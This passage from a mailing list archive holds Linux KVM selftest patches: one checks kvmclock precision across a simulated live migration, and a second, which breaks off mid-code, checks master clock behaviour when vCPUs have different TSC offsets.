@@ -0,0 +1,383 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test KVM clock precision across simulated live migration.
+ *
+ * Verifies that the documented TSC migration procedure (using
+ * KVM_VCPU_TSC_OFFSET, KVM_VCPU_TSC_SCALE, KVM_GET_CLOCK, and
+ * KVM_SET_CLOCK_GUEST) preserves the kvmclock's relationship to
+ * CLOCK_MONOTONIC_RAW.
+ *
+ * The test:
+ * 1. Creates a VM, runs the guest to enable kvmclock
+ * 2. Does a PTP-like ABA measurement of kvmclock vs CLOCK_MONOTONIC_RAW
+ * 3. Follows the documented migration procedure (same host, 1s pause)
+ * 4. Does the same ABA measurement on the destination VM
+ * 5. Verifies the kvmclock-vs-monotonic delta is preserved
+ */
+#include <inttypes.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define KVMCLOCK_GPA	0xc0000000ULL
+
+static void guest_code(void)
+{
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | 1);
+	GUEST_SYNC(0);
+	GUEST_SYNC(1);
+}
+
+static uint64_t read_kvmclock_ns(struct kvm_vm *vm)
+{
+	struct kvm_clock_data data = {};
+
+	vm_ioctl(vm, KVM_GET_CLOCK, &data);
+	return data.clock;
+}
+
+static uint64_t pvclock_read_cycles(struct pvclock_vcpu_time_info *src,
+				    uint64_t tsc)
+{
+	uint64_t delta = tsc - src->tsc_timestamp;
+	uint64_t ns;
+
+	if (src->tsc_shift >= 0)
+		delta <<= src->tsc_shift;
+	else
+		delta >>= -(int32_t)src->tsc_shift;
+
+	ns = (unsigned __int128)delta * src->tsc_to_system_mul >> 32;
+	return src->system_time + ns;
+}
+
+/*
+ * ABA measurement: read CLOCK_MONOTONIC_RAW, kvmclock, CLOCK_MONOTONIC_RAW.
+ * Repeat 3 times, keep the reading with the smallest spread.
+ */
+static void aba_reading(struct kvm_vm *vm, uint64_t *lo, uint64_t *kvm_ns,
+			uint64_t *hi)
+{
+	uint64_t best_spread = UINT64_MAX;
+	int i;
+
+	for (i = 0; i < 3; i++) {
+		struct timespec ts1, ts2;
+		uint64_t m1, m2, clk;
+
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts1);
+		clk = read_kvmclock_ns(vm);
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts2);
+
+		m1 = ts1.tv_sec * 1000000000ULL + ts1.tv_nsec;
+		m2 = ts2.tv_sec * 1000000000ULL + ts2.tv_nsec;
+
+		if (m2 - m1 < best_spread) {
+			best_spread = m2 - m1;
+			*lo = m1;
+			*kvm_ns = clk;
+			*hi = m2;
+		}
+	}
+}
+
+static struct kvm_vm *create_vm(struct kvm_vcpu **vcpu)
+{
+	struct kvm_vm *vm = vm_create_with_one_vcpu(vcpu, guest_code);
+
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    KVMCLOCK_GPA, 1, 1, 0);
+	virt_map(vm, KVMCLOCK_GPA, KVMCLOCK_GPA, 1);
+	return vm;
+}
+
+int main(void)
+{
+	struct pvclock_vcpu_time_info pvti_src;
+	struct kvm_clock_data clock_src, clock_dst;
+	struct kvm_vcpu_tsc_scale scale_src, scale_dst;
+	struct kvm_vcpu *vcpu;
+	struct kvm_vm *vm;
+	struct ucall uc;
+	uint64_t mono_before, kvm_before, kvm_after;
+	int64_t delta_before;
+	uint64_t ofs_src, tsc_src, tsc_dst, raw_dst, ofs_dst;
+	uint64_t host_tsc_src, host_tsc_dst;
+	uint64_t time_src, time_dst;
+	int64_t delta_t;
+	uint32_t freq_khz = 1500000; /* 1.5 GHz â€” forces TSC scaling */
+	int ret;
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
+	TEST_REQUIRE(kvm_has_cap(KVM_CAP_TSC_CONTROL));
+
+	/* === SOURCE SIDE === */
+	pr_info("=== Source VM ===\n");
+	vm = create_vm(&vcpu);
+
+	/* Set guest TSC frequency (may trigger scaling) */
+	vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)(unsigned long)freq_khz);
+
+	/* Run guest to enable kvmclock */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	/* ABA measurement: kvmclock vs CLOCK_MONOTONIC_RAW */
+	uint64_t src_mono_lo, src_mono_hi;
+	aba_reading(vm, &src_mono_lo, &kvm_before, &src_mono_hi);
+	mono_before = (src_mono_lo + src_mono_hi) / 2;
+	delta_before = (int64_t)(kvm_before - mono_before);
+	pr_info("  kvmclock - MONOTONIC_RAW = %" PRId64 " ns (Â±%" PRIu64 " ns)\n",
+		delta_before, (src_mono_hi - src_mono_lo) / 2);
+
+	/* Step 1: KVM_GET_CLOCK for atomic {host_tsc, realtime} */
+	memset(&clock_src, 0, sizeof(clock_src));
+	clock_src.flags = KVM_CLOCK_REALTIME;
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock_src);
+	host_tsc_src = clock_src.host_tsc;
+	time_src = clock_src.realtime;
+
+	/* Step 2: Save TSC offset and scale */
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_OFFSET,
+			.addr = (uint64_t)(uintptr_t)&ofs_src,
+		};
+		vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &attr);
+	}
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_SCALE,
+			.addr = (uint64_t)(uintptr_t)&scale_src,
+		};
+		memset(&scale_src, 0, sizeof(scale_src));
+		__vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &attr);
+	}
+
+	/* Compute guest TSC at Tsrc */
+	if (scale_src.tsc_frac_bits)
+		tsc_src = ((unsigned __int128)host_tsc_src * scale_src.tsc_ratio
+			   >> scale_src.tsc_frac_bits) + ofs_src;
+	else
+		tsc_src = host_tsc_src + ofs_src;
+
+	/* Step 3: KVM_GET_CLOCK_GUEST */
+	ret = __vcpu_ioctl(vcpu, KVM_GET_CLOCK_GUEST, &pvti_src);
+	TEST_ASSERT(!ret, "KVM_GET_CLOCK_GUEST failed");
+
+	pr_info("  TSC freq=%u kHz, offset=%" PRId64 "\n", freq_khz, (int64_t)ofs_src);
+
+	kvm_vm_release(vm);
+
+	/* === PAUSE (simulate migration) === */
+	pr_info("=== Pausing 1 second ===\n");
+	sleep(1);
+
+	/* === DESTINATION SIDE === */
+	pr_info("=== Destination VM ===\n");
+	vm = create_vm(&vcpu);
+
+	/* Step 4: KVM_SET_TSC_KHZ */
+	vcpu_ioctl(vcpu, KVM_SET_TSC_KHZ, (void *)(unsigned long)freq_khz);
+
+	/* Step 5: KVM_GET_CLOCK for atomic {host_tsc, realtime} pair.
+	 * Master clock is active from vCPU creation.
+	 */
+	memset(&clock_dst, 0, sizeof(clock_dst));
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock_dst);
+	host_tsc_dst = clock_dst.host_tsc;
+	time_dst = clock_dst.realtime;
+
+	/* Step 6: Î”T */
+	delta_t = (int64_t)(time_dst - time_src);
+
+	/* Step 7: Compute destination offset */
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_SCALE,
+			.addr = (uint64_t)(uintptr_t)&scale_dst,
+		};
+		memset(&scale_dst, 0, sizeof(scale_dst));
+		__vcpu_ioctl(vcpu, KVM_GET_DEVICE_ATTR, &attr);
+	}
+
+	tsc_dst = tsc_src + (uint64_t)((int64_t)freq_khz * delta_t / 1000000LL);
+
+	if (scale_dst.tsc_frac_bits)
+		raw_dst = (unsigned __int128)host_tsc_dst * scale_dst.tsc_ratio
+			  >> scale_dst.tsc_frac_bits;
+	else
+		raw_dst = host_tsc_dst;
+
+	ofs_dst = tsc_dst - raw_dst;
+
+	/*
+	 * The TSC offset delta introduced by using CLOCK_REALTIME to
+	 * estimate elapsed time. On same host, the correct offset is
+	 * ofs_src; the difference is the CLOCK_REALTIME-vs-TSC error.
+	 */
+	int64_t tsc_ofs_delta = (int64_t)(ofs_dst - ofs_src);
+	int64_t tsc_ofs_delta_ns = tsc_ofs_delta * 1000000LL / freq_khz;
+	pr_info("  Destination TSC offset=%" PRId64
+		", imprecision from CLOCK_REALTIME: %" PRId64 " cycles = %"
+		PRId64 " ns\n", (int64_t)ofs_dst, tsc_ofs_delta, tsc_ofs_delta_ns);
+
+	/* Set TSC offset */
+	{
+		struct kvm_device_attr attr = {
+			.group = KVM_VCPU_TSC_CTRL,
+			.attr = KVM_VCPU_TSC_OFFSET,
+			.addr = (uint64_t)(uintptr_t)&ofs_dst,
+		};
+		vcpu_ioctl(vcpu, KVM_SET_DEVICE_ATTR, &attr);
+	}
+
+	/* Step 8: KVM_SET_CLOCK_GUEST */
+	ret = __vcpu_ioctl(vcpu, KVM_SET_CLOCK_GUEST, &pvti_src);
+	TEST_ASSERT(!ret, "KVM_SET_CLOCK_GUEST failed: errno %d", errno);
+
+	/* Run guest to update pvclock page on destination */
+	vcpu_run(vcpu);
+	TEST_ASSERT_KVM_EXIT_REASON(vcpu, KVM_EXIT_IO);
+	TEST_ASSERT_EQ(get_ucall(vcpu, &uc), UCALL_SYNC);
+
+	/* ABA measurement on destination */
+	uint64_t mono_lo, mono_hi;
+	aba_reading(vm, &mono_lo, &kvm_after, &mono_hi);
+
+	/*
+	 * The kvmclock is tied to the guest TSC via SET_CLOCK_GUEST.
+	 * The guest TSC is offset from the correct value by tsc_ofs_delta_ns
+	 * (due to CLOCK_REALTIME imprecision). So the kvmclock should be
+	 * offset from CLOCK_MONOTONIC_RAW by exactly:
+	 *   (original delta) + tsc_ofs_delta_ns
+	 *
+	 * The "original delta" has uncertainty from the source ABA spread,
+	 * and the measurement has uncertainty from the destination ABA spread.
+	 * Verify the expected value falls within the combined bounds.
+	 */
+	int64_t delta_before_lo = (int64_t)(kvm_before - src_mono_hi);
+	int64_t delta_before_hi = (int64_t)(kvm_before - src_mono_lo);
+	int64_t expected_lo = delta_before_lo + tsc_ofs_delta_ns;
+	int64_t expected_hi = delta_before_hi + tsc_ofs_delta_ns;
+	int64_t actual_lo = (int64_t)(kvm_after - mono_hi);
+	int64_t actual_hi = (int64_t)(kvm_after - mono_lo);
+
+	/* Show the shift relative to the source measurement */
+	int64_t expected_mid = tsc_ofs_delta_ns;
+	int64_t expected_err = (int64_t)(src_mono_hi - src_mono_lo) / 2;
+	int64_t actual_mid = ((actual_lo + actual_hi) / 2) - delta_before;
+	int64_t actual_err = (int64_t)(mono_hi - mono_lo) / 2;
+	pr_info("  kvmclock-mono shift: expected %" PRId64 " ns (Â±%" PRId64
+		"), measured %" PRId64 " ns (Â±%" PRId64 ")\n",
+		expected_mid, expected_err, actual_mid, actual_err);
+
+	/* The ranges must overlap */
+	TEST_ASSERT(expected_hi >= actual_lo && expected_lo <= actual_hi,
+		    "Ranges don't overlap: expected [%" PRId64 ", %" PRId64
+		    "] measured [%" PRId64 ", %" PRId64 "]",
+		    expected_lo, expected_hi, actual_lo, actual_hi);
+
+	/*
+	 * Direct pvclock verification: read the destination pvclock page
+	 * and verify that computing kvmclock from pvti_src and pvti_dst
+	 * at the same guest TSC gives the same result.
+	 *
+	 * Get an atomic {host_tsc, kvmclock} pair, scale host_tsc to
+	 * guest TSC using KVM_VCPU_TSC_SCALE, then compute kvmclock
+	 * from both pvclock structs.
+	 */
+	struct kvm_clock_data clock_now = {};
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock_now);
+
+	struct pvclock_vcpu_time_info *pvti_dst = addr_gpa2hva(vm, KVMCLOCK_GPA);
+	uint64_t host_tsc_now = clock_now.host_tsc;
+	uint64_t guest_tsc_now;
+
+	if (scale_dst.tsc_frac_bits)
+		guest_tsc_now = ((unsigned __int128)host_tsc_now *
+				 scale_dst.tsc_ratio >> scale_dst.tsc_frac_bits)
+				+ ofs_dst;
+	else
+		guest_tsc_now = host_tsc_now + ofs_dst;
+
+	uint64_t clk_from_src = pvclock_read_cycles(&pvti_src, guest_tsc_now);
+	uint64_t clk_from_dst = pvclock_read_cycles(pvti_dst, guest_tsc_now);
+	int64_t pvclock_delta = (int64_t)(clk_from_src - clk_from_dst);
+
+	pr_info("  Pvclock direct: src=%" PRIu64 " dst=%" PRIu64
+		" delta=%" PRId64 " ns\n", clk_from_src, clk_from_dst, pvclock_delta);
+	pr_info("  KVM_GET_CLOCK:  %" PRIu64 " ns\n", (uint64_t)clock_now.clock);
+
+	TEST_ASSERT(pvclock_delta >= -2 && pvclock_delta <= 2,
+		    "pvclock src vs dst disagree by %" PRId64 " ns", pvclock_delta);
+
+	/*
+	 * Tight ABA: compare pvclock_read() directly (no ioctl) against
+	 * CLOCK_MONOTONIC_RAW. The spread should be much smaller since
+	 * there's no syscall between the two clock_gettime calls â€” just
+	 * rdtsc + userspace mul/shift.
+	 */
+	uint64_t tight_mono_lo = 0, tight_mono_hi = 0, tight_kvm = 0;
+	uint64_t tight_best_spread = UINT64_MAX;
+	for (int i = 0; i < 3; i++) {
+		struct timespec ts1, ts2;
+		uint64_t m1, m2, tsc, clk;
+
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts1);
+		tsc = rdtsc();
+		clock_gettime(CLOCK_MONOTONIC_RAW, &ts2);
+
+		m1 = ts1.tv_sec * 1000000000ULL + ts1.tv_nsec;
+		m2 = ts2.tv_sec * 1000000000ULL + ts2.tv_nsec;
+
+		/* Scale host TSC to guest TSC */
+		if (scale_dst.tsc_frac_bits)
+			tsc = ((unsigned __int128)tsc * scale_dst.tsc_ratio
+			       >> scale_dst.tsc_frac_bits) + ofs_dst;
+		else
+			tsc += ofs_dst;
+
+		clk = pvclock_read_cycles(pvti_dst, tsc);
+
+		if (m2 - m1 < tight_best_spread) {
+			tight_best_spread = m2 - m1;
+			tight_mono_lo = m1;
+			tight_mono_hi = m2;
+			tight_kvm = clk;
+		}
+	}
+	pr_info("  Tight ABA spread: %" PRIu64 " ns (best of 3)\n", tight_best_spread);
+
+	int64_t tight_expected_lo = delta_before_lo + tsc_ofs_delta_ns;
+	int64_t tight_expected_hi = delta_before_hi + tsc_ofs_delta_ns;
+	int64_t tight_actual_lo = (int64_t)(tight_kvm - tight_mono_hi);
+	int64_t tight_actual_hi = (int64_t)(tight_kvm - tight_mono_lo);
+	int64_t tight_actual_mid = ((tight_actual_lo + tight_actual_hi) / 2) - delta_before;
+	int64_t tight_actual_err = (int64_t)(tight_mono_hi - tight_mono_lo) / 2;
+
+	pr_info("  Tight kvmclock-mono shift: expected %" PRId64
+		" ns (Â±%" PRId64 "), measured %" PRId64 " ns (Â±%" PRId64 ")\n",
+		expected_mid, expected_err, tight_actual_mid, tight_actual_err);
+
+	TEST_ASSERT(tight_expected_hi >= tight_actual_lo &&
+		    tight_expected_lo <= tight_actual_hi,
+		    "Tight ABA ranges don't overlap");
+
+	kvm_vm_release(vm);
+	pr_info("PASS: kvmclock offset matches TSC delta from CLOCK_REALTIME"
+		" (%" PRId64 " ns) within ABA bounds\n", tsc_ofs_delta_ns);
+	return 0;
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:23:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:23:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353908.1609705 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMd-0008E9-3e; Fri, 03 Jul 2026 21:23:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353908.1609705; Fri, 03 Jul 2026 21:23:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflMc-0008A0-EG; Fri, 03 Jul 2026 21:23:58 +0000
Received: by outflank-mailman (input) for mailman id 1353908;
 Fri, 03 Jul 2026 21:23:54 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 1wflMY-0007C5-A7
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:23:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflMX-001XO6-N0; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a4827d9-5cb7-0a2a0a5109dd-0a2a4505dcf2-44
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [90.155.92.199] (helo=desiato.infradead.org)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ac8634115322beed580f+8349+infradead.org+dwmw2@desiato.srs.infradead.org>)
 id 6a482869-3cb2-0a2a45050019-5a9b5cc79154-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:23:53 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by desiato.infradead.org with esmtpsa (Exim 4.99.2 #2 (Red Hat Linux))
 id 1wflKc-000000059OA-40uX; Fri, 03 Jul 2026 21:23:38 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPL-0RPj;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=desiato.20200630 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=desiato.20200630; h=Sender:Content-Transfer-Encoding:
	Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:
	From:Reply-To:Cc:Content-ID:Content-Description;
	bh=wRdzvKD2bSU5nsIEUajIFrEJsqOT3VIHViFgVZVhuqk=; b=i2HbQgc8AAYdlD8WujdrvoPn1U
	qoodV8ewcMdiGBQg69o486bMpQqj3pTV6LFQ+p4lqOS+REgBO5BemjRGoJIYKDskYoX3dzxU/dlWs
	fn2vzHq+FScArRGbLA7uB4jy7vpg8ka9zk3nmtu49+oDQijwv+s28SVc4L6+1aNJSTs0xpcGVGk+4
	PUaalf6n5Bs4BQ+P+PIB8knTn4QDDa19PFHuBjY+s0Xdh5h6LrgJk/Hs3e1pM9yixhVu0mhnBsWjJ
	q2hW1MEceXMx6MN7p1chCFiOsbQ0DLRYilZs1FhSzRg3dTm8+BBZ+L5AdoSzqbp/un2xzu5DlNmAh
	h7pBrsWw==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 23/36] KVM: selftests: Add master clock offset test
Date: Fri,  3 Jul 2026 22:18:02 +0100
Message-ID: <20260703212145.343527-24-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by desiato.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-c201ff/1783113833-151042B8-9021AFCA/0/0
X-purgate-type: clean
X-purgate-size: 8060

From: David Woodhouse <dwmw@amazon.co.uk>

Verify that KVM master clock mode remains active when vCPUs have
different TSC offsets but the same frequency. Creates three vCPUs,
sets one to a different TSC value, and confirms:

 - KVM_CLOCK_HOST_TSC is set (master clock active)
 - KVM_CLOCK_TSC_STABLE IS set (master clock â‡’ stable flag)
 - PVCLOCK_TSC_STABLE_BIT is NOT set (offsets differ)

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Assisted-by: Kiro (claude-opus-4.6-1m)
---
 tools/testing/selftests/kvm/Makefile.kvm      |   1 +
 .../kvm/x86/masterclock_offset_test.c         | 180 ++++++++++++++++++
 2 files changed, 181 insertions(+)
 create mode 100644 tools/testing/selftests/kvm/x86/masterclock_offset_test.c

diff --git a/tools/testing/selftests/kvm/Makefile.kvm b/tools/testing/selftests/kvm/Makefile.kvm
index 90568ab631d7..7ecaaf82056e 100644
--- a/tools/testing/selftests/kvm/Makefile.kvm
+++ b/tools/testing/selftests/kvm/Makefile.kvm
@@ -106,6 +106,7 @@ TEST_GEN_PROGS_x86 += x86/pmu_event_filter_test
 TEST_GEN_PROGS_x86 += x86/private_mem_conversions_test
 TEST_GEN_PROGS_x86 += x86/private_mem_kvm_exits_test
 TEST_GEN_PROGS_x86 += x86/pvclock_test
+TEST_GEN_PROGS_x86 += x86/masterclock_offset_test
 TEST_GEN_PROGS_x86 += x86/pvclock_migration_test
 TEST_GEN_PROGS_x86 += x86/set_boot_cpu_id
 TEST_GEN_PROGS_x86 += x86/set_sregs_test
diff --git a/tools/testing/selftests/kvm/x86/masterclock_offset_test.c b/tools/testing/selftests/kvm/x86/masterclock_offset_test.c
new file mode 100644
index 000000000000..88e2bd2edab5
--- /dev/null
+++ b/tools/testing/selftests/kvm/x86/masterclock_offset_test.c
@@ -0,0 +1,180 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Test that KVM master clock mode works with different TSC offsets
+ * as long as all vCPUs have the same TSC frequency.
+ */
+#include <stdint.h>
+#include <string.h>
+
+#include "test_util.h"
+#include "kvm_util.h"
+#include "processor.h"
+
+#include <asm/pvclock-abi.h>
+
+#define KVMCLOCK_GPA	0xc0000000ull
+#define TSC_OFFSET	(1000000000ULL)
+
+static uint64_t pvclock_calc(struct pvclock_vcpu_time_info *pvti, uint64_t guest_tsc)
+{
+	uint64_t delta = guest_tsc - pvti->tsc_timestamp;
+
+	if (pvti->tsc_shift >= 0)
+		delta <<= pvti->tsc_shift;
+	else
+		delta >>= -(int)pvti->tsc_shift;
+
+	return pvti->system_time + ((__uint128_t)delta * pvti->tsc_to_system_mul >> 32);
+}
+
+static void guest_code(void)
+{
+	wrmsr(MSR_KVM_SYSTEM_TIME_NEW, KVMCLOCK_GPA | KVM_MSR_ENABLED);
+	for (;;)
+		GUEST_SYNC(0);
+}
+
+int main(void)
+{
+	struct kvm_vcpu *vcpus[3];
+	struct kvm_clock_data clock;
+	struct pvclock_vcpu_time_info pvti[3];
+	struct kvm_vm *vm;
+	uint64_t offset0, host_tsc, clk0, clk2;
+	int i;
+
+	TEST_REQUIRE(sys_clocksource_is_based_on_tsc());
+
+	vm = vm_create_with_vcpus(3, guest_code, vcpus);
+
+	TEST_REQUIRE(!__vcpu_has_device_attr(vcpus[0], KVM_VCPU_TSC_CTRL,
+					     KVM_VCPU_TSC_OFFSET));
+
+	vm_userspace_mem_region_add(vm, VM_MEM_SRC_ANONYMOUS,
+				    KVMCLOCK_GPA, 1,
+				    vm_calc_num_guest_pages(VM_MODE_DEFAULT,
+							   getpagesize()), 0);
+	virt_map(vm, KVMCLOCK_GPA, KVMCLOCK_GPA,
+		 vm_calc_num_guest_pages(VM_MODE_DEFAULT, getpagesize()));
+
+	/* Get vCPU 0's default offset and set vCPU 2's offset higher */
+	vcpu_device_attr_get(vcpus[0], KVM_VCPU_TSC_CTRL,
+			     KVM_VCPU_TSC_OFFSET, &offset0);
+	uint64_t offset2 = offset0 + TSC_OFFSET;
+	vcpu_device_attr_set(vcpus[2], KVM_VCPU_TSC_CTRL,
+			     KVM_VCPU_TSC_OFFSET, &offset2);
+
+	/* Run each vCPU to enable kvmclock (with offset already set) */
+	for (i = 0; i < 3; i++) {
+		vcpu_run(vcpus[i]);
+		TEST_ASSERT_KVM_EXIT_REASON(vcpus[i], KVM_EXIT_IO);
+	}
+
+	/* Check master clock is active */
+	memset(&clock, 0, sizeof(clock));
+	vm_ioctl(vm, KVM_GET_CLOCK, &clock);
+	pr_info("KVM_GET_CLOCK flags: 0x%x\n", clock.flags);
+	TEST_ASSERT(clock.flags & KVM_CLOCK_HOST_TSC,
+		    "Master clock should be active, flags=0x%x", clock.flags);
+	TEST_ASSERT(clock.flags & KVM_CLOCK_TSC_STABLE,
+		    "KVM_CLOCK_TSC_STABLE should be set, flags=0x%x", clock.flags);
+
+	/* Get per-vCPU pvclock in order 0, 2, 1 */
+	int order[] = {0, 2, 1};
+	for (i = 0; i < 3; i++) {
+		int idx = order[i];
+		__vcpu_ioctl(vcpus[idx], KVM_GET_CLOCK_GUEST, &pvti[idx]);
+		pr_info("vCPU %d: tsc_timestamp=%lu system_time=%lu "
+			"mul=%u shift=%d flags=0x%x\n",
+			idx, (unsigned long)pvti[idx].tsc_timestamp,
+			(unsigned long)pvti[idx].system_time,
+			pvti[idx].tsc_to_system_mul, pvti[idx].tsc_shift,
+			pvti[idx].flags);
+	}
+
+	/* Read guest TSCs: should see (0+OFF) < 2 < (1+OFF) */
+	uint64_t gtsc0 = vcpu_get_msr(vcpus[0], MSR_IA32_TSC);
+	uint64_t gtsc2 = vcpu_get_msr(vcpus[2], MSR_IA32_TSC);
+	uint64_t gtsc1 = vcpu_get_msr(vcpus[1], MSR_IA32_TSC);
+	pr_info("Guest TSCs: vcpu0=%lu vcpu2=%lu vcpu1=%lu\n",
+		(unsigned long)gtsc0, (unsigned long)gtsc2, (unsigned long)gtsc1);
+	pr_info("vcpu0+OFF=%lu vcpu1+OFF=%lu\n",
+		(unsigned long)(gtsc0 + TSC_OFFSET),
+		(unsigned long)(gtsc1 + TSC_OFFSET));
+	TEST_ASSERT(gtsc0 + TSC_OFFSET < gtsc2 && gtsc2 < gtsc1 + TSC_OFFSET,
+		    "Expected (vcpu0+OFF) < vcpu2 < (vcpu1+OFF)");
+
+	/* PVCLOCK_TSC_STABLE_BIT should NOT be set (offsets differ) */
+	TEST_ASSERT(!(pvti[2].flags & PVCLOCK_TSC_STABLE_BIT),
+		    "PVCLOCK_TSC_STABLE_BIT should NOT be set, flags=0x%x",
+		    pvti[2].flags);
+
+	/* Same mul/shift */
+	TEST_ASSERT(pvti[0].tsc_to_system_mul == pvti[2].tsc_to_system_mul &&
+		    pvti[0].tsc_shift == pvti[2].tsc_shift,
+		    "All vCPUs should have same mul/shift");
+
+	/*
+	 * Read host TSC once. At this instant:
+	 *   vCPU 0 guest TSC = host_tsc + offset0
+	 *   vCPU 2 guest TSC = host_tsc + offset0 + TSC_OFFSET
+	 * Feed each through its pvclock. Expect the same kvmclock.
+	 */
+	host_tsc = rdtsc();
+	clk0 = pvclock_calc(&pvti[0], host_tsc + offset0);
+	clk2 = pvclock_calc(&pvti[2], host_tsc + offset0 + TSC_OFFSET);
+
+	pr_info("kvmclock via vCPU 0: %lu ns\n", (unsigned long)clk0);
+	pr_info("kvmclock via vCPU 2: %lu ns\n", (unsigned long)clk2);
+	TEST_ASSERT(clk0 == clk2,
+		    "kvmclock from offset vCPUs should match exactly, "
+		    "diff=%ld ns", (long)(clk2 - clk0));
+
+	pr_info("PASSED: pvclock consistent across offset vCPUs\n");
+
+	/*
+	 * Now add an hour to the VM kvmclock via KVM_SET_CLOCK, run each
+	 * vCPU to pick up the update, and check they're still in sync.
+	 */
+	{
+#define ONE_HOUR_NS (3600ULL * NSEC_PER_SEC)
+		struct kvm_clock_data setclk = { .clock = clock.clock + ONE_HOUR_NS };
+
